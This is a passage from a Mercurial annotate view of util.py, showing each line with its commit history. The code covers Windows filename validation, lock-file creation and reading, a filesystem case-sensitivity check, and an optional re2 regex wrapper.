1207
diff
changeset
|
1959 else: |
1591
5a3229cf1492
do not copy atime and mtime in util.copyfiles
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
1585
diff
changeset
|
1960 shutil.copy(src, dst) |
11251
c61442f6d106
clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents:
11232
diff
changeset
|
1961 num += 1 |
38380
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1962 if progress: |
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1963 progress.increment() |
698
df78d8ccac4c
Use python function instead of external 'cp' command when cloning repos.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
667
diff
changeset
|
1964 |
11251
c61442f6d106
clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents:
11232
diff
changeset
|
1965 return hardlink, num |
11254
640d419725d0
util.copyfiles: don't try os_link() again if it failed before
Adrian Buehlmann <adrian@cadifra.com>
parents:
11010
diff
changeset
|
1966 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1967 |
34052
ca6a3852daf0
util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents:
34002
diff
changeset
|
1968 _winreservednames = { |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1969 b'con', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1970 b'prn', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1971 b'aux', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1972 b'nul', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1973 b'com1', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1974 b'com2', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1975 b'com3', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1976 b'com4', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1977 b'com5', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1978 b'com6', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1979 b'com7', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1980 b'com8', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1981 b'com9', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1982 b'lpt1', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1983 b'lpt2', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1984 b'lpt3', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1985 b'lpt4', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1986 b'lpt5', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1987 b'lpt6', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1988 b'lpt7', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1989 b'lpt8', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1990 b'lpt9', |
34052
ca6a3852daf0
util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents:
34002
diff
changeset
|
1991 } |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1992 _winreservedchars = b':*?"<>|' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1993 |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1994 |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1995 def checkwinfilename(path): |
20000
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
1996 r'''Check that the base-relative path is a valid filename on Windows. |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1997 Returns None if the path is ok, or a UI string describing the problem. |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1998 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1999 >>> checkwinfilename(b"just/a/normal/path") |
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2000 >>> checkwinfilename(b"foo/bar/con.xml") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
2001 "filename contains 'con', which is reserved on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2002 >>> checkwinfilename(b"foo/con.xml/bar") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
2003 "filename contains 'con', which is reserved on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2004 >>> checkwinfilename(b"foo/bar/xml.con") |
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2005 >>> checkwinfilename(b"foo/bar/AUX/bla.txt") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
2006 "filename contains 'AUX', which is reserved on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2007 >>> checkwinfilename(b"foo/bar/bla:.txt") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
2008 "filename contains ':', which is reserved on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2009 >>> checkwinfilename(b"foo/bar/b\07la.txt") |
20000
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
2010 "filename contains '\\x07', which is invalid on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2011 >>> checkwinfilename(b"foo/bar/bla ") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
2012 "filename ends with ' ', which is not allowed on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2013 >>> checkwinfilename(b"../bar") |
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2014 >>> checkwinfilename(b"foo\\") |
20000
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
2015 "filename ends with '\\', which is invalid on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2016 >>> checkwinfilename(b"foo\\/bar") |
20000
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
2017 "directory name ends with '\\', which is invalid on Windows" |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
2018 ''' |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2019 if path.endswith(b'\\'): |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2020 return _(b"filename ends with '\\', which is invalid on Windows") |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2021 if b'\\/' in path: |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2022 return _(b"directory name ends with '\\', which is invalid on Windows") |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2023 for n in path.replace(b'\\', b'/').split(b'/'): |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
2024 if not n: |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
2025 continue |
32572
377c74ef008d
win32mbcs: avoid unintentional failure at colorization
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
31952
diff
changeset
|
2026 for c in _filenamebytestr(n): |
14262
23cd7eeff678
util: rename _windows_reserved_filenames and _windows_reserved_chars
Adrian Buehlmann <adrian@cadifra.com>
parents:
14250
diff
changeset
|
2027 if c in _winreservedchars: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2028 return ( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2029 _( |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2030 b"filename contains '%s', which is reserved " |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2031 b"on Windows" |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2032 ) |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2033 % c |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2034 ) |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
2035 if ord(c) <= 31: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2036 return _( |
43117
8ff1ecfadcd1
cleanup: join string literals that are already on one line
Martin von Zweigbergk <martinvonz@google.com>
parents:
43106
diff
changeset
|
2037 b"filename contains '%s', which is invalid on Windows" |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2038 ) % stringutil.escapestr(c) |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2039 base = n.split(b'.')[0] |
14262
23cd7eeff678
util: rename _windows_reserved_filenames and _windows_reserved_chars
Adrian Buehlmann <adrian@cadifra.com>
parents:
14250
diff
changeset
|
2040 if base and base.lower() in _winreservednames: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2041 return ( |
43117
8ff1ecfadcd1
cleanup: join string literals that are already on one line
Martin von Zweigbergk <martinvonz@google.com>
parents:
43106
diff
changeset
|
2042 _(b"filename contains '%s', which is reserved on Windows") |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2043 % base |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2044 ) |
34361
7508a7dc95c1
py3: replace bytes[n] with slicing in checkwinfilename()
Yuya Nishihara <yuya@tcha.org>
parents:
34360
diff
changeset
|
2045 t = n[-1:] |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2046 if t in b'. ' and n not in b'..': |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2047 return ( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2048 _( |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2049 b"filename ends with '%s', which is not allowed " |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2050 b"on Windows" |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2051 ) |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2052 % t |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2053 ) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2054 |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
2055 |
34645 | 2056 if pycompat.iswindows: |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
2057 checkosfilename = checkwinfilename |
30974
ae5d60bb70c9
util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents:
30925
diff
changeset
|
2058 timer = time.clock |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2059 else: |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
2060 checkosfilename = platform.checkosfilename |
30974
ae5d60bb70c9
util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents:
30925
diff
changeset
|
2061 timer = time.time |
ae5d60bb70c9
util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents:
30925
diff
changeset
|
2062 |
ae5d60bb70c9
util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents:
30925
diff
changeset
|
2063 if safehasattr(time, "perf_counter"): |
ae5d60bb70c9
util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents:
30925
diff
changeset
|
2064 timer = time.perf_counter |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2065 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2066 |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2067 def makelock(info, pathname): |
36701
d77c3b023393
lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents:
36699
diff
changeset
|
2068 """Create a lock file atomically if possible |
d77c3b023393
lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents:
36699
diff
changeset
|
2069 |
d77c3b023393
lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents:
36699
diff
changeset
|
2070 This may leave a stale lock file if symlink isn't supported and signal |
d77c3b023393
lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents:
36699
diff
changeset
|
2071 interrupt is enabled. |
d77c3b023393
lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents:
36699
diff
changeset
|
2072 """ |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2073 try: |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2074 return os.symlink(info, pathname) |
25660
328739ea70c3
global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents:
25420
diff
changeset
|
2075 except OSError as why: |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2076 if why.errno == errno.EEXIST: |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2077 raise |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2078 except AttributeError: # no symlink in os |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2079 pass |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2080 |
36783
1fbbb8e83392
py3: read/write plain lock file in binary mode
Yuya Nishihara <yuya@tcha.org>
parents:
36782
diff
changeset
|
2081 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0) |
1fbbb8e83392
py3: read/write plain lock file in binary mode
Yuya Nishihara <yuya@tcha.org>
parents:
36782
diff
changeset
|
2082 ld = os.open(pathname, flags) |
704
5ca319a641e1
Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
698
diff
changeset
|
2083 os.write(ld, info) |
5ca319a641e1
Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
698
diff
changeset
|
2084 os.close(ld) |
5ca319a641e1
Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
698
diff
changeset
|
2085 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2086 |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2087 def readlock(pathname): |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2088 try: |
39904
5fe0b880200e
py3: convert os.readlink() path to native strings on Windows
Matt Harbison <matt_harbison@yahoo.com>
parents:
39777
diff
changeset
|
2089 return readlink(pathname) |
25660
328739ea70c3
global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents:
25420
diff
changeset
|
2090 except OSError as why: |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2091 if why.errno not in (errno.EINVAL, errno.ENOSYS): |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2092 raise |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2093 except AttributeError: # no symlink in os |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2094 pass |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2095 with posixfile(pathname, b'rb') as fp: |
39905
4017968f0a1d
util: use a context manager in readlock()
Matt Harbison <matt_harbison@yahoo.com>
parents:
39904
diff
changeset
|
2096 return fp.read() |
704
5ca319a641e1
Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
698
diff
changeset
|
2097 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2098 |
2176
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
2099 def fstat(fp): |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
2100 '''stat file object that may not have fileno method.''' |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
2101 try: |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
2102 return os.fstat(fp.fileno()) |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
2103 except AttributeError: |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
2104 return os.stat(fp.name) |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
2105 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2106 |
3784 | 2107 # File system features |
2108 | |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2109 |
29889
6f447b9ec263
util: rename checkcase() to fscasesensitive() (API)
Martin von Zweigbergk <martinvonz@google.com>
parents:
29832
diff
changeset
|
2110 def fscasesensitive(path): |
3784 | 2111 """ |
18911
451eb1c27c1b
util: improve doc for checkcase
Mads Kiilerich <mads@kiilerich.com>
parents:
18868
diff
changeset
|
2112 Return true if the given path is on a case-sensitive filesystem |
3784 | 2113 |
2114 Requires a path (like /foo/.hg) ending with a foldable final | |
2115 directory component. | |
2116 """ | |
24902
986a5c23b1c1
util.checkcase: don't abort on broken symlinks
Siddharth Agarwal <sid0@fb.com>
parents:
24692
diff
changeset
|
2117 s1 = os.lstat(path) |
3784 | 2118 d, b = os.path.split(path) |
15667
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
2119 b2 = b.upper() |
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
2120 if b == b2: |
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
2121 b2 = b.lower() |
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
2122 if b == b2: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2123 return True # no evidence against case sensitivity |
15667
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
2124 p2 = os.path.join(d, b2) |
3784 | 2125 try: |
24902
986a5c23b1c1
util.checkcase: don't abort on broken symlinks
Siddharth Agarwal <sid0@fb.com>
parents:
24692
diff
changeset
|
2126 s2 = os.lstat(p2) |
3784 | 2127 if s2 == s1: |
2128 return False | |
2129 return True | |
14004
97ed99d1f419
eliminate various naked except clauses
Idan Kamara <idankk86@gmail.com>
parents:
13985
diff
changeset
|
2130 except OSError: |
3784 | 2131 return True |
2132 | |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2133 |
16943
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
2134 try: |
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
2135 import re2 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2136 |
16943
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
2137 _re2 = None |
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
2138 except ImportError: |
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
2139 _re2 = False |
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
2140 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2141 |
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2142 class _re(object): |
21913
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
2143 def _checkre2(self): |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
2144 global _re2 |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
2145 try: |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
2146 # check if match works, see issue3964 |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2147 _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]')) |
21913
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
2148 except ImportError: |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
2149 _re2 = False |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
2150 |
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2151 def compile(self, pat, flags=0): |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2152 '''Compile a regular expression, using re2 if possible |
16943
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
2153 |
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2154 For best performance, use only re2-compatible regexp features. The |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2155 only flags from the re module that are re2-compatible are |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2156 IGNORECASE and MULTILINE.''' |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2157 if _re2 is None: |
21913
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
2158 self._checkre2() |
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2159 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0: |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2160 if flags & remod.IGNORECASE: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
